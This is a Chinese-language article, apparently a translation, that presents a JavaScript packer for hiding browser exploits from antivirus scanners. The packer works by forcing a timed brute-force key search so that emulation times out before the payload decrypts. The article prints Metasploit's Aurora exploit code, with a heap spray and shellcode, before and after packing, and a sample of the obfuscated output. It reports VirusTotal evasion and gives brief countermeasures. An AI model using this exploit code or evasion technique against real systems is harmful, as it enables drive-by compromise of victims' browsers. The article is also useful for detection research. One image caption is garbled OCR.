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由于JavaScript的动态特性，用它来混淆exploit代码很是容易。由于JavaScript是一种解释语言，网站也提供源代码给用户，因此，Javascript混淆代码的功能常常被用于保护源代码，以防止被复制粘贴，同时保护开发者的知识产权。在过去几年，用于混淆攻击代码的算法已经被大大改进了。再加上商业工具的运用，甚至已经开发出可伪装（隐含经空白字符格式化的payload）的混淆器。
检测恶意Javascript的问题
对于经动态混淆的代码，利用已知特征码的方法是检测不到的，因此经混淆处理后的代码就无法识别出是恶意代码。对此，反病毒扫描器需要有一个良好的仿真引擎，以识别出经解压后脚本的运行行为。既而，这也就引发了一场攻击者与安全软件厂商之间的争夺战。混淆代码是为了保护源代码的知识产权，同时也可用于更好地隐藏exploit特征码，它们似乎有许多共性：它们都被复杂化处理，以隐藏真实代码，防止被人们或检测软件识别。
基于特征码的检测方法一经失效，反病毒引擎就必须分析和仿真JavaScript，直到识别出脚本的真实功能，以达到检测恶意代码的目的。如上所述，JavaScript是一种可用多种方法来隐藏代码的语言，它支持各类元编程（metaprogramming）（译注：元编程是指某类计算机程序的编写，这类计算机程序编写或者操纵其它程序（或者自身）作为它们的数据，或者在运行时完成部分本应在编译时完成的工作。多数情况下，与手工编写全部代码相比，程序员可以获得更高的工作效率, 或者给与程序更大的灵活度去处理新的情形而无需重新编译），这意味着代码可实现自修改，并创建出新代码。先加密字符串，然后用eval()函数来执行也是一种众所周知的方法。由于代码必须能够自我运行，因此JavaScript混淆器集成了KEY和经大量混淆算法实现的解密程序。
JavaScript代码压缩器的不同功能和限制

从攻击者的角度来看，存在一个优势，那就是网站开发者在大多JavaScript压缩器中并未考虑到因素：时间因素。在正当网站上经混淆的代码必须执行得够快，即使是未经压缩的代码也应如此。然而，从攻击者的角度来看，我们确实还有一些时间可以拿来利用，但如果exploit的执行是在毫秒或2秒内完成的，这就无所谓了，因为大多受害者并不会注意到它，甚至不会在当时打开任务管理器杀死进程。然而反病毒扫描器必须像网站开发者一样以相同的方式来处理Javascript，它的执行不能比未扫描时花费明显过多的时间，最好是1秒的十分之一。
利用时间因素
为了利用时间因素，代码压缩器需要创建出不会在一定时间跨度（timespan）内被分析出来的代码。由于这技术不应过于复杂，因此它必须以某种方式来执行，并且这种方式要求在短时间内不会分析出代码，所以最好的解决方案就是加密payload。对比现在流行的代码压缩器，它们均没有满足加密payload的所有关键要求，自然而然地，也就不可能在合理的时间内进行解密。这不仅要求让反病毒扫描器无法查看payload，攻击者的浏览器也不能。如前所述，由于反病毒扫描器的快速分析，因此在攻击者浏览器上的执行时间相对比较紧迫。然而也并非都是如此，我们可以创建一个加载器，用于暴力搜索访问payload的KEY，然后选用一个在数秒内可破解的KEY。最后导致反病毒引擎超时，但此时payload已经在浏览器中运行了。在当今浏览器里都拥有高优化的JavaScript引擎，运行暴破算法的速度很快，这给我们提供了很大的优势。
实行方案
为了实现加密功能，代码压缩器使用了MD5链接库，它可在正当网站中正常使用。压缩器使用MD5 hash对payload异或加密中的KEY进加密处理，而KEY本身被分为三部分。提供给浏览器是第一部分；第二部分是浏览器进行重定向的URL查询字符串，单独网页（常作为临时文件被保存）并不包含有解密payload所需任何信息，如果不能得到查询字符串就无法分析代码；第三部分必须猜解才能得到，为了达到此目的，浏览器获得部分md5 hash，因为key相当短，可以结合salt值对所有可能hash值进行预测。
最后一部分是最关键的：KEY必须是随机选择的，以便需要花费2-3秒才能破解。如果选择一个薄弱的KEY，那么首次猜解就可能就猜对了。为了解决此问题，就要求大小最小的5个KEY必须都能够破解。利用这一技巧，再做进一步优化即可在特定时间内生成KEY。在计算出KEY的未知部分（已知是基于MD5哈希加密的）后，受害者的浏览器能够重组出原始KEY，此后使用它解密payload，然后使用eval()函数来执行它。

另一个难点在于不同浏览器中的Javascript执行时间。在最新版本的浏览器上运行脚本可能需要1秒钟，但在旧版本上（比如Internet Explorer 6）可能就需要花费更多的时间了，由于大部分的攻击目标都是针对特定的浏览器版本，因此Javascript引擎的运行性能情况一般都是已知的。进而，可以获得JavaScript引擎预期的执行速度（如果攻击的浏览器是旧版本的，那么AV扫描器就占有一定优势了）。图1列出了JavaScript代码压缩器的设计图：
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                                图1
整合Metasploit framework及其用例

清单1列出了由Metasploit framework提供的原始aurora exploit的部分代码。
Listing 1. JS code generation from the original metasploit aurora module

var_boom = rand_text_alpha(rand(100) + 1)

var_element = rand_text_alpha(rand(100) + 1)

var_event = rand_text_alpha(rand(100) + 1)

var_loaded_arg = rand_text_alpha(rand(100) + 1)

var_memory = rand_text_alpha(rand(100) + 1)

var_spray = rand_text_alpha(rand(100) + 1)

var_i = rand_text_alpha(rand(100) + 1)

var_el_array = rand_text_alpha(rand(100) + 1)

var_grab_mem = rand_text_alpha(rand(100) + 1)

var_unescape = rand_text_alpha(rand(100) + 1)

var_shellcode = rand_text_alpha(rand(100) + 1)

js = %Q|var #{var_element} = “COMMENT”;

var #{var_el_array} = new Array();

for (i = 0; i < 1300; i++)

{

#{var_el_array}[i] = document.createElement(#{var_element});

#{var_el_array}[i].data = “#{bleh}”;

}

var #{var_event} = null;

var #{var_memory} = new Array();

var #{var_unescape} = unescape;

function #{var_boom}()

{

var #{var_shellcode} = #{var_unescape}( ‘#{Rex::Text.to_unescape(regenerate_

payload(cli).encoded)}’);

var #{var_spray} = #{var_unescape}( “%” + “u” + “0” + “c” + “0” + “d” + “%u”

+ “0” + “c” + “0” + “d” );

do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );

for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] =

#{var_spray} + #{var_shellcode};

}

function #{var_loaded}(#{var_loaded_arg})

{

#{var_boom}();

#{var_event} = document.createEventObject(#{var_loaded_arg});

document.getElementById(“#{var_span_id}”).innerHTML = “”;

window.setInterval(#{var_grab_mem}, 50);

}

function #{var_grab_mem}()

{

p = “ \\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d”;

for (i = 0; i < #{var_el_array}.length; i++)

{

#{var_el_array}[i].data = p;

}

var t = #{var_event}.srcElement;

}
所有的变量名均被手动设置为随机字符串，目的是为了增加代码阅读和修改的难度。新开发的代码压缩器几乎改变了原本所有的代码，并对代码进行了加密，再用加载器对其进行解密。加载器一解密完，就会调用eval()函数来执行代码。清单2列出了使用新开发的压缩器处理过的exploit代码：

Listing 2. Code from Listing 1 using the JSidle packer
js = %Q|var element = “COMMENT”;

var el_array = new Array();

for (i = 0; i < 1300; i++)

{

el_array[i] = document.createElement(element);

el_array[i].data = “#{bleh}”;

}

var event2 = null;

var memory = new Array();

var unescape = unescape;

function boom()

{

var shellcode = unescape( ‘#{Rex::Text.to_unescape(regenerate_payload(cli).

encoded)}’);

var spray = unescape( “%” + “u” + “0” + “c” + “0” + “d” + “%u” + “0” + “c” +

“0” + “d” );

do { spray += spray } while( spray.length < 0xd0000 );

for (i = 0; i < 150; i++) memory[i] = spray + shellcode;

}

function #{var_loaded}(loaded_arg)

{

boom();

event2 = document.createEventObject(loaded_arg);

document.getElementById(“#{var_span_id}”).innerHTML = “”;

window.setInterval(grab_mem, 50);

}

function grab_mem()

{

p = “\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\

u0c0d\\u0c0d\\u0c0d”;

for (i = 0; i < el_array.length; i++)

{

el_array[i].data = p;

}

var t = event2.srcElement;

}|

@packer = JSidle.new(js)

res = @packer.pack()

js_encoded = res[:js_encoded]
清单3列出了生成Javascript压缩代码的示例源码：
Listing 3. Shortened example of the resulting packed JS code
var aus = ‘gcpheucqynasanehywsoywuhcympyss’;

var rcnp = ‘13544715 ... 09391c69’;

var hoh = ‘’;

for (i = 0;i<rcnp[‘\x6c’ + ‘e5a’.replace(/[5a]/g, ‘’) + ‘\x6e’ + ‘\x67\x74\

x68’];i+=2) {

hoh += String[‘fur5oWmq’.replace(/[u5Wq]/g, ‘’) +

‘CKhfaVsrNCF0obd9eB’.replace(/[KfVsNF0b9B]/g, ‘’)](parseInt(rcnp[‘s’ + ‘u’ +

‘b’ + ‘\x73\x74\x72’ + ‘\x69\x6e\x67’](i, i+2), 16));

}

var fdnu = location.search[‘\x73\x75\x62\x73\x74\x72\x69’ + ‘\x6e\x67’](1);

var ggp = ‘baiucgpafdwomy’;

var nfn = ‘raieocaiadwibyrh’;

var ocwe = ‘f1070c645e25b1387b012326245cde5c’;

var quo = fdnu + ggp;

var oiai = false;

var fwg;

var snmpi;

var fqw = “abcdefghijklmnopqrstuvwxyz”;

var gccr = 1;

while (true) {

var snmpi = “”;

var ehoo = gccr;

while (ehoo > 0) {

var dwodi = ehoo % 26;

snmpi = fqw[‘\x73\x75’ + ‘\x62\x73\x74\x72\x69\x6e’ + ‘g’]

(dwodi, dwodi + 1) + snmpi;

ehoo = Math[‘\x66\x6c’ + ‘o4oErK8’.replace(/[4EK8]/g, ‘’)]

(ehoo / 26);

}

if (hex_md5(nfn + snmpi) == ocwe) {

break;

}

gccr++;

}

var fwg = hex_md5(quo + snmpi);

var hrah = ‘’;

for (i=0;i<hoh[‘\x6c\x65\x6e’ + ‘\x67\x74\x68’];i++) {

hrah += String[‘fur5oWmq’.replace(/[u5Wq]/g, ‘’) +

‘CKhfaVsrNCF0obd9eB’.replace(/[KfVsNF0b9B]/g, ‘’)](hoh[‘\x63\x68’ + ‘\

x61\x72\x43\x6f\x64’ + ‘\x65’ + ‘AdC’.replace(/[dC]/g, ‘’) + ‘t’](i) ^

fwg[‘c6rhj’.replace(/[6rj]/g, ‘’) + ‘\x61\x72’ + ‘C’ + ‘oFX’.replace(/

[FX]/g, ‘’) + ‘dwTezAkjtr’.replace(/[wTzkjr]/g, ‘’)](i%fwg[‘lGeLnL’.

replace(/[GLL]/g, ‘’) + ‘\x67\x74\x68’]));

}

window[‘euD’.replace(/[uD]/g, ‘’) + ‘v3’.replace(/[3]/g, ‘’) + ‘av1’.

replace(/[v1]/g, ‘’) + ‘\x6c’](hrah);
图2列出aurora exploit原始代码在VirusTotal.com上的扫描结果：
[image: image2.png]its for the au

Figure 2. VirusTotal ploit

i ngon s 201008 35 223990 UTE)
Clrar o ened
e 2141 (1225

e LA
P [
sy Bt cotes

s opetss





                   图2
图3是exploit代码经压缩处理后的扫描结果：
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                    图3

虽然VirusTotal并不能真实地反应出运行在受害者主机上的杀软的情况，但它也说明了压缩器在绕过反病毒引擎上的成功。


对比其它压缩器，本文的设计的压缩器主要是用于需要一定技术含量的渗透测试，进而减少手工分析的复杂工作。本文所提出的解决方案也适用于嵌入PDF文件的Javascript，虽然在PDF文件中的混淆代码与WEB页面有所不同，但大多AV扫描器在针对Javascript的检测上，都只是看它是否存在可利用的漏洞函数的特征码。
对策
虽然对Javascript代码的分析与检测并不能在时间上进行完全限制，但经压缩的代码至少可被列为可疑对象，以留作后面的进一步分析。异步技术，再加上良好的JavaScript仿真引擎，依然可以用于检测payload。

近来在客户端攻击问题上的研究常因分析过程过于复杂而无法在短时间内完成——来自Sourcefire Vulnerability Research Team Labs 的Razorback™项目（以前称为Near Real-Time Detection）在其论文中讲述了一种处理此问题的技术，并分析了网络入侵检测系统的前景（参见：http://labs.snort.org/razorback/）。其它解决方案可利用行为检测和白名单：即使JavaScript代码不能分析，但最后payload的恶意行为仍可被检测并预防的。
结论
虽然所讲述的技术会对反病毒厂商造成新的困境，但它确实很可能被用于攻击目标。另一个常常让人最为不满的一方面——在exploit广泛传播后，被反病毒厂商捕获到，然后在创建出新的特征码用于检测。但是，攻击源代码又常常不会被反病毒厂商获取到的。杀软要想检测出大部分新出的压缩器生成的JavaScript代码样本，还需要相当长的一段时间。这也再次证明了，基于行为的检测技术还是很有必要的，杀软并不能仅仅依靠已知的特征码来检测恶意软件——对于使用前文所述方法压缩过的代码，杀软将无法在合理的时间内检测出来。

